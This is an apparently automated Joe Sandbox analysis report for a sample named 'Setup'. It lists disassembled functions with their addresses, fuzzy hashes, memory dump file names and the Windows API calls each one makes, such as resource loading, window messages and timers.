Opcode Fuzzy Hash: 9201211a779b0725c9f769eec35b6d65a1e024d8fe3c4732c1604a0e3898199e
Instruction Fuzzy Hash: D131A071600649EFCF229F65CC04AAEBFF5FF99350B14416BF85A96220EB319A11DF50

Function 00CAFBD8 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b3c185af72ba45c7271344f8152e2d260a75a1f50872b4e1d8d8da83e4dd0ad
Instruction ID: b666524bf2832b6a55005eb905e3136c4b062f541e344ddad4211a6327f3ae8a
Opcode Fuzzy Hash: 3b3c185af72ba45c7271344f8152e2d260a75a1f50872b4e1d8d8da83e4dd0ad
Instruction Fuzzy Hash: 4F21293164030EAFD7306BE2AC05B5EB7B8EB427BCF240139F810D7190D7719E02A650

Function 00B63610 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000000,?,00000006,?,00000000,00000000,00B7BF2D,?,?,00B7BF2D,?), ref: 00B6363C
LoadResource.KERNEL32(00000000,00000000,?,?,00B7BF2D,?), ref: 00B6364F
LockResource.KERNEL32(00000000,?,?,00B7BF2D,?), ref: 00B6365E
SizeofResource.KERNEL32(?,?,?,?,00B7BF2D,?), ref: 00B63674

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 7ccef8ffa0c276467874e1a5b3d5b6714d4f787b3494e2dd9689956dfa832829
Instruction ID: 5172c46f5e38ef8227585d90f448a2534fb37abc88c2143bff019f77d1f8fa1c
Opcode Fuzzy Hash: 7ccef8ffa0c276467874e1a5b3d5b6714d4f787b3494e2dd9689956dfa832829
Instruction Fuzzy Hash: 1A11E6F66011156F9B219F64CC84E7EBBE8EF40B4071842AAFC45CF250EA38DE4186A1

Function 00BA7AB6 Relevance: 6.1, APIs: 4, Instructions: 74windowCOMMON

Download Yara Rule

APIs

DestroyMenu.USER32(?,BFD722F5,?,?,?,00CC5107,000000FF), ref: 00BA7B07
IsWindow.USER32(?), ref: 00BA7B18
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 00BA7B2C
Concurrency::details::ExternalContextBase::~ExternalContextBase.LIBCONCRT ref: 00BA7B89

Part of subcall function 00C14AF4: GetParent.USER32(00000000), ref: 00C14B7B

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ContextExternal$BaseBase::~Concurrency::details::DestroyMenuMessageParentSendWindow
String ID:
API String ID: 3377428259-0
Opcode ID: bd06ed0b705e150722796e44c55a5c3f54d49e4fda66d291b69de4498f301cc7
Instruction ID: 1e625dba5bc87bd517567afbe0be7ed4f9be6b575f8b7a06b406091488bf011f
Opcode Fuzzy Hash: bd06ed0b705e150722796e44c55a5c3f54d49e4fda66d291b69de4498f301cc7
Instruction Fuzzy Hash: 47218D70108B809BC72AEF34D891BEAB7F8FF96700F40046DE46687390DF756942DA10

Function 00CB945C Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000004,00CACA81,?,00000000,-00000001,?,00CAE60A,-00000001,00000000,?,-00000001), ref: 00CB9461
_free.LIBCMT ref: 00CB94BE
_free.LIBCMT ref: 00CB94F4
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00000004,00CACA81,?,00000000,-00000001,?,00CAE60A,-00000001,00000000,?,-00000001), ref: 00CB94FF

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 3b73747580c66a0602d082d04b48d518a526924d44144c88338d63a271ef227d
Instruction ID: a91e109fa0272289e330158dfa5c7edc22c20ea6ae5fda82260abda4c73b3878
Opcode Fuzzy Hash: 3b73747580c66a0602d082d04b48d518a526924d44144c88338d63a271ef227d
Instruction Fuzzy Hash: E111C6326043412BDA316BB99EC5EEB3A59EBC1775F240224F725931E1DD768C077521

Function 00BA6230 Relevance: 6.1, APIs: 4, Instructions: 70timewindowCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,0000EC17), ref: 00BA6244
KillTimer.USER32(?,0000EC18), ref: 00BA6252
IsWindow.USER32(?), ref: 00BA62C2
PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00BA62E9

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: KillTimer$MessagePostWindow
String ID:
API String ID: 3970157719-0
Opcode ID: 2762192cf27793618bac70b19863446c8e451da88728f0656ff00b6b52cc33d4
Instruction ID: 365ba38bd7cb5913172f5f78f685362d8406d5e80ca635bef003e9c786c3a0af
Opcode Fuzzy Hash: 2762192cf27793618bac70b19863446c8e451da88728f0656ff00b6b52cc33d4
Instruction Fuzzy Hash: EA216A72700601AFDB04ABA1DC95B9D7BB5FF49710F1401BAE905AB2A1DB70E901CA51

Function 00B80A6A Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 00B80A92
CoTaskMemFree.OLE32(00000000,?,?,?,?,?,?,?,?,?,00B7FA56,?,?,?,?,00B7E466), ref: 00B80B1F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ArrayDestroyFreeSafeTask
String ID:
API String ID: 3253174383-0
Opcode ID: 908256e735ea57862028c0db4f8e5c6b4a61f5e491777bde04ecc322fb4b2cd9
Instruction ID: 4459faa259f11066bb0a9352ad9b4c08bca1e0684262ad492d8302a5bd36cd4b
Opcode Fuzzy Hash: 908256e735ea57862028c0db4f8e5c6b4a61f5e491777bde04ecc322fb4b2cd9
Instruction Fuzzy Hash: 1421AF31211207EBDB6ABF68C98CB6EBBA8FF44395B2400A9F80197175DB31DE14DB50

Function 00CB95B3 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00B67F84,00000000,00CAC6AB,00CB97B4,?,?,00B6448B,00B67F84,00000000,?,?,00B684F8,0000000C,00000004,00B64038), ref: 00CB95B8
_free.LIBCMT ref: 00CB9615
_free.LIBCMT ref: 00CB964B
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00B6448B,00B67F84,00000000,?,?,00B684F8,0000000C,00000004,00B64038,00B67F84,?,00B67F84), ref: 00CB9656

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 80c17a257c48e2d705d19d23020769f329e5000a60c8ef938944f7072d7d1e1c
Instruction ID: fa6440e019a0d79288ed81e842e437f1547c8f473b5af18e6c84c4ef6d7fce3e
Opcode Fuzzy Hash: 80c17a257c48e2d705d19d23020769f329e5000a60c8ef938944f7072d7d1e1c
Instruction Fuzzy Hash: 6611E1322447002BD6326B799E85EEA3669EBC07B8F240224F225D32E1DE768D067131

Function 00BA6BCB Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 00BA6C03
PtInRect.USER32(?,?,?), ref: 00BA6C1C

Part of subcall function 00BA505E: ScreenToClient.USER32(?,?), ref: 00BA507A
Part of subcall function 00BA505E: GetParent.USER32(?), ref: 00BA5091
Part of subcall function 00BA505E: GetClientRect.USER32(?,?), ref: 00BA5124
Part of subcall function 00BA505E: MapWindowPoints.USER32(?,?,?,00000002), ref: 00BA5136
Part of subcall function 00BA505E: PtInRect.USER32(?,?,?), ref: 00BA5146

MapWindowPoints.USER32(?,?,?,00000001), ref: 00BA6C52
SendMessageW.USER32(?,00000201,?,?), ref: 00BA6C71

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Client$PointsWindow$MessageParentScreenSend
String ID:
API String ID: 2689702638-0
Opcode ID: 7f85edf1af8e9336e03456f638ca3f75e3ed45e16afe5ed62708ff45f280dcdd
Instruction ID: d44b961beba165110353f68e1caed3e8f80f09bf7a84f8b09dbfddeea6627205
Opcode Fuzzy Hash: 7f85edf1af8e9336e03456f638ca3f75e3ed45e16afe5ed62708ff45f280dcdd
Instruction Fuzzy Hash: FC213CB190060AEFCF159FA4CD04AAEBBF5FF48310F00452AF86996250E7719A10DFA0

Function 00B8B0E0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

BeginDeferWindowPos.USER32(00000000), ref: 00B8B102
IsWindow.USER32(?), ref: 00B8B11D
DeferWindowPos.USER32(00000000,?,00000000,?,00000000,?,00000000,00000000), ref: 00B8B16D
EndDeferWindowPos.USER32(00000000), ref: 00B8B178

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Defer$Begin
String ID:
API String ID: 2880567340-0
Opcode ID: 176b5cac54f41f1cd391383b22ab36c20f3a6d89a6f9af3d3b486b7667a268d5
Instruction ID: 0cb2efba234a7721407e3853f5360516569cc4c55f79b16feae2160cc025ef47
Opcode Fuzzy Hash: 176b5cac54f41f1cd391383b22ab36c20f3a6d89a6f9af3d3b486b7667a268d5
Instruction Fuzzy Hash: E821E871A00209EFCB11EFA8DD59BAEBBF8FB08300F144169E505F7260D730AA41DBA1

Function 00B873A1 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00B873EF
GetWindowRect.USER32(?,?), ref: 00B87410
PtInRect.USER32(?,?,?), ref: 00B87420
CallNextHookEx.USER32(?,?,?), ref: 00B87449

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$CallCursorHookNextWindow
String ID:
API String ID: 3719484595-0
Opcode ID: 95a1760f008c407780f657550539323631f11538195b6345372de518913560b2
Instruction ID: 9e713d6f5c70370ab81ac6813d4160ed1c9302c95e0fdc286e0648c19899a61d
Opcode Fuzzy Hash: 95a1760f008c407780f657550539323631f11538195b6345372de518913560b2
Instruction Fuzzy Hash: B0211A7290120AABCF20EFA9DD48AAEBFF4EF58304F244156E404E7670CA709A41DB65

Function 00B66909 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,000000F0), ref: 00B6692F
LoadResource.KERNEL32(?,00000000), ref: 00B6693B
LockResource.KERNEL32(00000000), ref: 00B66948
FreeResource.KERNEL32(00000000), ref: 00B6697A

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: cf00c11e7eae740967005c0066587ee127d7d506afe1e65078f66935240f8f92
Instruction ID: 1fc4c6a65ed81f697ad132a5a83285511419b362bf3221d71651d952b9df87df
Opcode Fuzzy Hash: cf00c11e7eae740967005c0066587ee127d7d506afe1e65078f66935240f8f92
Instruction Fuzzy Hash: BD115835602215AFCB019F68CC88B6EBBE9EF88B1070541AAFC01D7360DB78ED018B91

Function 00B63380 Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,00000006,?,?,?,80004005), ref: 00B63398
LoadResource.KERNEL32(?,00000000,?,?,?,?,80004005), ref: 00B633AC

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Resource$FindLoad
String ID:
API String ID: 2619053042-0
Opcode ID: f4650d86fec9cfaf0b79c766c23242e7de755ace6515f6a2d6f93f155419728d
Instruction ID: bc49f1e194fc41e871d2ab4aff2ecee16f502a0c6cdd7f5155cd9e6f06a6c966
Opcode Fuzzy Hash: f4650d86fec9cfaf0b79c766c23242e7de755ace6515f6a2d6f93f155419728d
Instruction Fuzzy Hash: 25012233B012256BCB201F69AC8057ABBDCEB90B6A3004467FD0AD3300DA3EDE004AA0

Function 00B8D036 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,00000005,?,?,?,?,?,00B8BD43,?,?), ref: 00B8D054
LoadResource.KERNEL32(?,00000000,?,?,?,?,?,00B8BD43,?,?), ref: 00B8D069
LockResource.KERNEL32(00000000,?,?,?,?,?,00B8BD43,?,?), ref: 00B8D07B

Part of subcall function 00B6C656: __CxxThrowException@8.LIBVCRUNTIME ref: 00B6C66A

GlobalFree.KERNEL32(?), ref: 00B8D0BA

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
